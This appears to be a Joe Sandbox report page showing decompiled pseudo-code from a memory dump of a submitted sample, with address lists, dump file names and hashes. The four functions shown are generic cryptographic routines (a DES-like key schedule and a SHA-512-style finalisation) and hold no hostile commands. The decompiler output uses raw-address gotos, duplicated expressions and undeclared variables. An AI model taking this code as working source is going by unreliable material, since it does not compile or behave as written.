Uniqueness Score: -1.00%

Function 00007FF7E3735840 Relevance: .3, Instructions: 334
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3735840(long long __rbx, signed int* __rcx, signed int __rdx, long long __rdi, signed int __r8, signed int __r9, signed int __r11, long long _a8, long long _a16) {
				signed int _t75;
				signed int _t102;
				unsigned long long _t297;
				unsigned long long _t303;

				_a8 = __rbx;
				_a16 = __rdi;
				r8d =  *__rdx & 0x000000ff;
				r10d =  *(__rdx + 4) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 1) & 0x000000ff;
				r10d = r10d << 8;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 2) & 0x000000ff;
				r8d = r8d << 8;
				r8d = r8d |  *(__rdx + 3) & 0x000000ff;
				r10d = r10d |  *(__rdx + 5) & 0x000000ff;
				r10d = r10d << 8;
				r10d = r10d |  *(__rdx + 6) & 0x000000ff;
				r10d = r10d << 8;
				r10d = r10d |  *(__rdx + 7) & 0x000000ff;
				_t75 = (r10d >> 0x00000004 ^ r8d) & 0x0f0f0f0f;
				r8d = r8d ^ _t75;
				r10d = r10d ^ _t75 << 0x00000004;
				r9d = r10d;
				r9d = r9d ^ r8d;
				r9d = r9d & 0x10101010;
				_t297 = __rdx ^ __r9;
				r11d =  *(0x7ff7e3710000 + 0x48b80 + (_t297 >> 0x15) * 4);
				r11d = r11d & 0x007fffff;
				r11d = r11d + r11d;
				r11d = r11d |  *(0x7ff7e3710000 + 0x48b80 + (_t297 >> 0x1d) * 4) & 0x00ffffff;
				r11d = r11d + r11d;
				r11d = r11d |  *(0x7ff7e3710000 + 0x48b80 + _t297 * 4) & 0x01ffffff;
				r11d = r11d + r11d;
				r11d = r11d |  *(0x7ff7e3710000 + 0x48b80 + (_t297 >> 8) * 4) & 0x03ffffff;
				r11d = r11d + r11d;
				r11d = r11d |  *(0x7ff7e3710000 + 0x48b80 + (_t297 >> 0x10) * 4) & 0x07ffffff;
				r11d = r11d + r11d;
				r11d = r11d | (( *((intOrPtr*)(0x7ff7e3710000 + 0x48b80 + (_t297 >> 5) * 4)) +  *((intOrPtr*)(0x7ff7e3710000 + 0x48b80 + (_t297 >> 5) * 4)) |  *(0x7ff7e3710000 + 0x48b80 + (_t297 >> 0xd) * 4)) << 0x00000006 |  *(0x7ff7e3710000 + 0x48b80 + (_t297 >> 0x18) * 4)) & 0x0fffffff;
				r8d = r10d;
				_t303 = __r8 ^ __r9;
				_t278 = _t303 >> 0x14;
				r8d = r8d & 0x0000000f;
				r9d = 0;
				if (r9d - 2 < 0) goto 0xe3735a8a;
				if (r9d == 8) goto 0xe3735a8a;
				if (r9d == 0xf) goto 0xe3735a8a;
				r11d = r11d >> 0x1a;
				r11d = r11d | __r11 * 0x00000004;
				goto 0xe3735aa2;
				r11d = r11d >> 0x1b;
				r11d = r11d | __r11 + __r11;
				r11d = r11d & 0x0fffffff;
				_t102 = ((((((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) + ((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 9) * 4) & 0x03ffffff) + (((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) + ((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 9) * 4) & 0x03ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x11) * 4) & 0x07ffffff) + ((((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) + ((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 9) * 4) & 0x03ffffff) + (((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) + ((( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) + (( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) + ( *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x14) * 4) & 0x007fffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x1c) * 4) & 0x00ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 1) * 4) & 0x01ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 9) * 4) & 0x03ffffff) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x11) * 4) & 0x07ffffff) | (( *((intOrPtr*)(0x7ff7e3710000 + 0x48b40 + (_t303 >> 4) * 4)) +  *((intOrPtr*)(0x7ff7e3710000 + 0x48b40 + (_t303 >> 4) * 4)) |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0xc) * 4)) << 0x00000006 |  *(0x7ff7e3710000 + 0x48b40 + (_t303 >> 0x19) * 4)) & 0x0fffffff) >> 0x0000001b | _t278 + _t278) & 0x0fffffff;
				r8d = _t102;
				r8d = r8d >> 2;
				r8d = r8d & 0x02000000;
				r8d = r8d | _t102 & 0x01000000;
				r8d = r8d >> 6;
				r8d = r8d | _t102 & 0x00100000;
				r8d = r8d >> 4;
				r8d = r8d | _t102 & 0x00800000;
				r8d = r8d >> 1;
				r8d = r8d | _t102 & 0x04000000;
				r8d = r8d >> 3;
				r8d = r8d | r11d & 0x04000000;
				r8d = r8d | _t102 & 0x00004000;
				r8d = r8d >> 5;
				r8d = r8d | _t102 & 0x00000400;
				r8d = r8d >> 1;
				r8d = r8d | _t102 & 0x00010000;
				r8d = r8d >> 1;
				r8d = r8d | _t102 & 0x00000040;
				r8d = r8d >> 2;
				r8d = r8d | _t102 & 0x00000800;
				r8d = r8d | r11d & 0x00200000;
				r8d = r8d >> 1;
				r8d = r8d | ((((((((r11d & 0x00000001) << 0x0000000a | r11d & 0x00000082) << 0x00000004 | r11d & 0x00002000) << 0x00000004 | r11d & 0x00000100) + ((((r11d & 0x00000001) << 0x0000000a | r11d & 0x00000082) << 0x00000004 | r11d & 0x00002000) << 0x00000004 | r11d & 0x00000100) | r11d & 0x00001000) << 0x00000003 | _t102 & 0x00000020 | r11d & 0x00040000) << 0x00000002 | r11d & 0x02400000) << 0x00000002 | r11d & 0x00008000) << 0x00000002;
				r8d = r8d | _t102 & 0x00000100;
				 *__rcx = r8d;
				r8d = r11d;
				r8d = r8d & 0x00000010;
				r8d = r8d << 5;
				r8d = r8d | r11d & 0x00000800;
				r8d = r8d + r8d;
				r8d = r8d | r11d & 0x00000020;
				r8d = r8d + r8d;
				r8d = r8d | r11d & 0x00004004;
				r8d = r8d << 4;
				r8d = r8d | r11d & 0x00000200;
				r8d = r8d + r8d;
				r8d = r8d | r11d & 0x00020000;
				r8d = r8d << 2;
				r8d = r8d | _t102 & 0x00000010;
				r8d = r8d + r8d;
				r8d = r8d | _t102 & 0x00000002;
				r8d = r8d << 4;
				r8d = r8d | r11d & 0x00010000;
				r8d = r8d + r8d;
				r8d = r8d | _t102 & 0x00000001;
				r8d = r8d + r8d;
				r8d = r8d | r11d & 0x00800000;
				r8d = r8d + r8d;
				r9d = r9d + 1;
				r8d = r8d | (((((((_t102 >> 0x00000007 & 0x00008000 | _t102 & 0x02020000) >> 0x00000005 | _t102 & 0x00080000) >> 0x00000002 | _t102 & 0x00001000) >> 0x00000001 | r11d & 0x01000000) >> 0x00000002 | r11d & 0x00100000) >> 0x00000001 | _t102 & 0x00000088) >> 0x00000001 | _t102 & 0x00008000 | r11d & 0x08000000) >> 0x00000002;
				r8d = r8d | _t102 & 0x00000200;
				__rcx[1] = r8d;
				if (r9d - 0x10 < 0) goto 0xe3735a56;
				return _t102;
			}

0x7ff7e3735840
0x7ff7e3735845
0x7ff7e3735855
0x7ff7e373585c
0x7ff7e3735861
0x7ff7e3735865
0x7ff7e3735868
0x7ff7e3735870
0x7ff7e3735874
0x7ff7e373587b
0x7ff7e373587f
0x7ff7e3735886
0x7ff7e373588d
0x7ff7e3735891
0x7ff7e3735898
0x7ff7e373589c
0x7ff7e37358a8
0x7ff7e37358ad
0x7ff7e37358b3
0x7ff7e37358b9
0x7ff7e37358bc
0x7ff7e37358bf
0x7ff7e37358c6
0x7ff7e37358d3
0x7ff7e37358e2
0x7ff7e37358e9
0x7ff7e37358ff
0x7ff7e3735902
0x7ff7e373591c
0x7ff7e373591f
0x7ff7e373592e
0x7ff7e3735938
0x7ff7e373594a
0x7ff7e3735954
0x7ff7e373598b
0x7ff7e373598e
0x7ff7e3735991
0x7ff7e373599e
0x7ff7e3735a35
0x7ff7e3735a53
0x7ff7e3735a5a
0x7ff7e3735a60
0x7ff7e3735a66
0x7ff7e3735a76
0x7ff7e3735a7b
0x7ff7e3735a88
0x7ff7e3735a94
0x7ff7e3735a99
0x7ff7e3735aa4
0x7ff7e3735ab3
0x7ff7e3735abb
0x7ff7e3735abe
0x7ff7e3735aca
0x7ff7e3735ad1
0x7ff7e3735adc
0x7ff7e3735ae0
0x7ff7e3735aeb
0x7ff7e3735aef
0x7ff7e3735afa
0x7ff7e3735afd
0x7ff7e3735b09
0x7ff7e3735b0d
0x7ff7e3735b18
0x7ff7e3735b23
0x7ff7e3735b27
0x7ff7e3735b32
0x7ff7e3735b35
0x7ff7e3735b3d
0x7ff7e3735b40
0x7ff7e3735b4b
0x7ff7e3735b4f
0x7ff7e3735b5b
0x7ff7e3735b67
0x7ff7e3735bd1
0x7ff7e3735bd6
0x7ff7e3735bdc
0x7ff7e3735be5
0x7ff7e3735bf1
0x7ff7e3735bf5
0x7ff7e3735bf9
0x7ff7e3735c02
0x7ff7e3735c05
0x7ff7e3735c11
0x7ff7e3735c14
0x7ff7e3735c20
0x7ff7e3735c24
0x7ff7e3735c30
0x7ff7e3735c33
0x7ff7e3735c3b
0x7ff7e3735c3f
0x7ff7e3735c47
0x7ff7e3735c4a
0x7ff7e3735c56
0x7ff7e3735c5a
0x7ff7e3735c62
0x7ff7e3735c65
0x7ff7e3735c71
0x7ff7e3735c74
0x7ff7e3735c7f
0x7ff7e3735cda
0x7ff7e3735cea
0x7ff7e3735ced
0x7ff7e3735cf0
0x7ff7e3735cfc
0x7ff7e3735d0c

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a0c33e10b09a95230d3654b84068b27410ca77d9eda0fee6934d9fd853af78
Instruction ID: 1ce697fb4287fb3e244f45a58eb6f279a5985890e75da6b941a67ad66b0a438a
Opcode Fuzzy Hash: d2a0c33e10b09a95230d3654b84068b27410ca77d9eda0fee6934d9fd853af78
Instruction Fuzzy Hash: D2B1C3B773482007E76D8519EC32BB919D2E399388F48E23CEB17C7BC5D97D99218A44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372EC60 Relevance: .3, Instructions: 300
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00007FF77FF7E372EC60(long long __rbx, void* __rcx, long long __rsi, void* _a8, void* _a16) {
				intOrPtr _v72;
				long long _t25;
				void* _t30;
				void* _t35;
				void* _t38;

				_t38 = _t35;
				 *((long long*)(_t38 + 8)) = __rbx;
				 *((long long*)(_t38 + 0x10)) = __rsi;
				_push(_t30);
				_t25 = _t38 - 0x30;
				_v72 = 1;
				 *((long long*)(_t38 - 0x38)) = _t25;
				 *((long long*)(_t38 - 0x40)) = 4;
				 *((long long*)(_t38 - 0x30)) = _t25;
				 *((long long*)(_t38 - 0x28)) = _t25;
				 *((long long*)(_t38 - 0x20)) = _t25;
				 *((long long*)(_t38 - 0x18)) = _t25;
				if ( *((long long*)(__rcx + 8)) - 7 >= 0) goto 0xe372ed16;
				E00007FF77FF7E373FED4(_t25, __rcx);
				if (_t25 != 0) goto 0xe372eccc;
				_t14 = _t30 - 0x18; // -16
				return _t14;
			}

0x7ff7e372ec60
0x7ff7e372ec63
0x7ff7e372ec67
0x7ff7e372ec6b
0x7ff7e372ec70
0x7ff7e372ec74
0x7ff7e372ec7c
0x7ff7e372ec85
0x7ff7e372ec92
0x7ff7e372ec96
0x7ff7e372ec9d
0x7ff7e372eca1
0x7ff7e372eca5
0x7ff7e372ecac
0x7ff7e372ecb7
0x7ff7e372ecb9
0x7ff7e372eccb

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b6606b9b8a2f5b0a36313696fc630d2ddaca9036d9cecd899b5d8ddb9c852ed
Instruction ID: c8699de250186dd1b344f30be61135d30103567c8543d08a0b1f5ff366f824fe
Opcode Fuzzy Hash: 2b6606b9b8a2f5b0a36313696fc630d2ddaca9036d9cecd899b5d8ddb9c852ed
Instruction Fuzzy Hash: 7BB1CD73B21B648ADB64CF3AC484E6C77E5F78CB84B55952ADA0D83B48EE36D450CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3718150 Relevance: .3, Instructions: 265
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3718150(intOrPtr __edx, long long __rcx, void* __r8, long long _a8, intOrPtr _a16) {

				_a16 = __edx;
				_a8 = __rcx;
				r12d = r12d & 0x0000000f;
				r13d = __edx;
				if (__r8 - 0x10 >= 0) goto 0xe371818f;
				return 0xffffffde;
			}

0x7ff7e3718150
0x7ff7e3718154
0x7ff7e3718171
0x7ff7e3718175
0x7ff7e371817c
0x7ff7e371818e

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c5e3957bf2d2b5535bf0450d04259e46c03403ac09df75937be8685de01e684
Instruction ID: 8a067846c8fcc4c1e7e77d609297db7cc8b43452b3747ccbf914980f3600a809
Opcode Fuzzy Hash: 0c5e3957bf2d2b5535bf0450d04259e46c03403ac09df75937be8685de01e684
Instruction Fuzzy Hash: 47B1A023B04AC1A9EB419FB4C0806FDBF61EB59B88FD54572DE4D22A45EF38D15AC311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371D780 Relevance: .3, Instructions: 265
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E00007FF77FF7E371D780(void* __rax, long long __rbx, signed int* __rcx, char* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* __rdi;
				char _t162;
				signed int _t165;
				signed int _t171;
				signed int _t177;
				signed int _t183;
				signed int _t189;
				signed int _t195;
				signed int _t201;
				signed int _t207;
				char _t215;
				void* _t218;
				void* _t219;
				void* _t225;
				void* _t313;
				void* _t337;
				void* _t338;

				_t225 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_t313 = __rcx;
				 *((char*)(__rcx +  &(__rcx[0x14]))) = 0x80;
				_t215 = ( *__rcx & 0x0000007f) + 1;
				if (_t215 - 0x70 > 0) goto 0xe371d7bc;
				r8d = 0x70;
				r8d = r8d - _t215;
				goto 0xe371d7ef;
				r8d = 0x80;
				r8d = r8d - _t215;
				E00007FF77FF7E373B860(_t215, 0, _t218, _t219,  &(__rcx[0x14]) + __rax, __rdx, __rdx, _t337);
				if (E00007FF77FF7E371D120(_t313, _t313, _t313 + 0x50, _t337, _t338) != 0) goto 0xe371db3d;
				_t8 = _t225 + 0x70; // 0x70
				r8d = _t8;
				_t162 = E00007FF77FF7E373B860(_t215, 0, _t218, _t219, _t313 + 0x50, _t313 + 0x50, __rdx, _t337);
				 *((char*)(_t313 + 0xc7)) = 0;
				 *((char*)(_t313 + 0xc0)) = _t162;
				 *((char*)(_t313 + 0xc1)) = _t162;
				 *((char*)(_t313 + 0xc2)) = _t162;
				 *((char*)(_t313 + 0xc3)) = _t162;
				 *((char*)(_t313 + 0xc4)) = _t162;
				 *((char*)(_t313 + 0xc5)) = _t162;
				 *((char*)(_t313 + 0xc6)) = _t162;
				 *((char*)(_t313 + 0xc8)) = _t162;
				 *((char*)(_t313 + 0xc9)) = _t162;
				 *((char*)(_t313 + 0xca)) = _t162;
				 *((char*)(_t313 + 0xcb)) = _t162;
				 *((char*)(_t313 + 0xcc)) = _t162;
				 *((char*)(_t313 + 0xcd)) = _t162;
				 *((char*)(_t313 + 0xcf)) = _t215;
				 *((char*)(_t313 + 0xce)) = _t162;
				if (E00007FF77FF7E371D120(_t313, _t313, _t313 + 0x50, _t337, _t338) != 0) goto 0xe371db3d;
				 *__rdx =  *(_t313 + 0x17) & 0x000000ff;
				_t165 =  *(_t313 + 0x16) & 0x000000ff;
				 *(__rdx + 1) = _t165;
				 *(__rdx + 2) = _t165;
				 *(__rdx + 3) = _t165;
				 *((char*)(__rdx + 4)) =  *(_t313 + 0x10);
				 *((char*)(__rdx + 5)) =  *(_t313 + 0x10);
				 *((char*)(__rdx + 6)) =  *(_t313 + 0x10);
				 *((char*)(__rdx + 7)) =  *(_t313 + 0x10) & 0x000000ff;
				 *((char*)(__rdx + 8)) =  *(_t313 + 0x1f) & 0x000000ff;
				_t171 =  *(_t313 + 0x1e) & 0x000000ff;
				 *(__rdx + 9) = _t171;
				 *(__rdx + 0xa) = _t171;
				 *(__rdx + 0xb) = _t171;
				 *((char*)(__rdx + 0xc)) =  *(_t313 + 0x18);
				 *((char*)(__rdx + 0xd)) =  *(_t313 + 0x18);
				 *((char*)(__rdx + 0xe)) =  *(_t313 + 0x18);
				 *((char*)(__rdx + 0xf)) =  *(_t313 + 0x18) & 0x000000ff;
				 *((char*)(__rdx + 0x10)) =  *(_t313 + 0x27) & 0x000000ff;
				_t177 =  *(_t313 + 0x26) & 0x000000ff;
				 *(__rdx + 0x11) = _t177;
				 *(__rdx + 0x12) = _t177;
				 *(__rdx + 0x13) = _t177;
				 *((char*)(__rdx + 0x14)) =  *(_t313 + 0x20);
				 *((char*)(__rdx + 0x15)) =  *(_t313 + 0x20);
				 *((char*)(__rdx + 0x16)) =  *(_t313 + 0x20);
				 *((char*)(__rdx + 0x17)) =  *(_t313 + 0x20) & 0x000000ff;
				 *((char*)(__rdx + 0x18)) =  *(_t313 + 0x2f) & 0x000000ff;
				_t183 =  *(_t313 + 0x2e) & 0x000000ff;
				 *(__rdx + 0x19) = _t183;
				 *(__rdx + 0x1a) = _t183;
				 *(__rdx + 0x1b) = _t183;
				 *((char*)(__rdx + 0x1c)) =  *(_t313 + 0x28);
				 *((char*)(__rdx + 0x1d)) =  *(_t313 + 0x28);
				 *((char*)(__rdx + 0x1e)) =  *(_t313 + 0x28);
				 *((char*)(__rdx + 0x1f)) =  *(_t313 + 0x28) & 0x000000ff;
				 *((char*)(__rdx + 0x20)) =  *(_t313 + 0x37) & 0x000000ff;
				_t189 =  *(_t313 + 0x36) & 0x000000ff;
				 *(__rdx + 0x21) = _t189;
				 *(__rdx + 0x22) = _t189;
				 *(__rdx + 0x23) = _t189;
				 *((char*)(__rdx + 0x24)) =  *(_t313 + 0x30);
				 *((char*)(__rdx + 0x25)) =  *(_t313 + 0x30);
				 *((char*)(__rdx + 0x26)) =  *(_t313 + 0x30);
				 *((char*)(__rdx + 0x27)) =  *(_t313 + 0x30) & 0x000000ff;
				 *((char*)(__rdx + 0x28)) =  *(_t313 + 0x3f) & 0x000000ff;
				_t195 =  *(_t313 + 0x3e) & 0x000000ff;
				 *(__rdx + 0x29) = _t195;
				 *(__rdx + 0x2a) = _t195;
				 *(__rdx + 0x2b) = _t195;
				 *((char*)(__rdx + 0x2c)) =  *(_t313 + 0x38);
				 *((char*)(__rdx + 0x2d)) =  *(_t313 + 0x38);
				 *((char*)(__rdx + 0x2e)) =  *(_t313 + 0x38);
				 *((char*)(__rdx + 0x2f)) =  *(_t313 + 0x38) & 0x000000ff;
				if ( *((intOrPtr*)(_t313 + 0xd0)) != 0) goto 0xe371db3b;
				 *((char*)(__rdx + 0x30)) =  *(_t313 + 0x47) & 0x000000ff;
				_t201 =  *(_t313 + 0x46) & 0x000000ff;
				 *(__rdx + 0x31) = _t201;
				 *(__rdx + 0x32) = _t201;
				 *(__rdx + 0x33) = _t201;
				 *((char*)(__rdx + 0x34)) =  *(_t313 + 0x40);
				 *((char*)(__rdx + 0x35)) =  *(_t313 + 0x40);
				 *((char*)(__rdx + 0x36)) =  *(_t313 + 0x40);
				 *((char*)(__rdx + 0x37)) =  *(_t313 + 0x40) & 0x000000ff;
				 *((char*)(__rdx + 0x38)) =  *(_t313 + 0x4f) & 0x000000ff;
				_t207 =  *(_t313 + 0x4e) & 0x000000ff;
				 *(__rdx + 0x39) = _t207;
				 *(__rdx + 0x3a) = _t207;
				 *(__rdx + 0x3b) = _t207;
				 *((char*)(__rdx + 0x3c)) =  *(_t313 + 0x48);
				 *((char*)(__rdx + 0x3d)) =  *(_t313 + 0x48);
				 *((char*)(__rdx + 0x3e)) =  *(_t313 + 0x48);
				 *((char*)(__rdx + 0x3f)) =  *(_t313 + 0x48) & 0x000000ff;
				return 0;
			}

0x7ff7e371d780
0x7ff7e371d780
0x7ff7e371d785
0x7ff7e371d78f
0x7ff7e371d79c
0x7ff7e371d7a1
0x7ff7e371d7a8
0x7ff7e371d7aa
0x7ff7e371d7b0
0x7ff7e371d7ba
0x7ff7e371d7bc
0x7ff7e371d7c2
0x7ff7e371d7cc
0x7ff7e371d7df
0x7ff7e371d7e7
0x7ff7e371d7e7
0x7ff7e371d7ef
0x7ff7e371d814
0x7ff7e371d81e
0x7ff7e371d82b
0x7ff7e371d838
0x7ff7e371d845
0x7ff7e371d852
0x7ff7e371d85f
0x7ff7e371d870
0x7ff7e371d87d
0x7ff7e371d88a
0x7ff7e371d897
0x7ff7e371d8a4
0x7ff7e371d8b1
0x7ff7e371d8be
0x7ff7e371d8cb
0x7ff7e371d8d4
0x7ff7e371d8e1
0x7ff7e371d8eb
0x7ff7e371d8ed
0x7ff7e371d8f1
0x7ff7e371d8fc
0x7ff7e371d907
0x7ff7e371d911
0x7ff7e371d91b
0x7ff7e371d925
0x7ff7e371d92c
0x7ff7e371d933
0x7ff7e371d936
0x7ff7e371d93a
0x7ff7e371d945
0x7ff7e371d950
0x7ff7e371d95a
0x7ff7e371d964
0x7ff7e371d96e
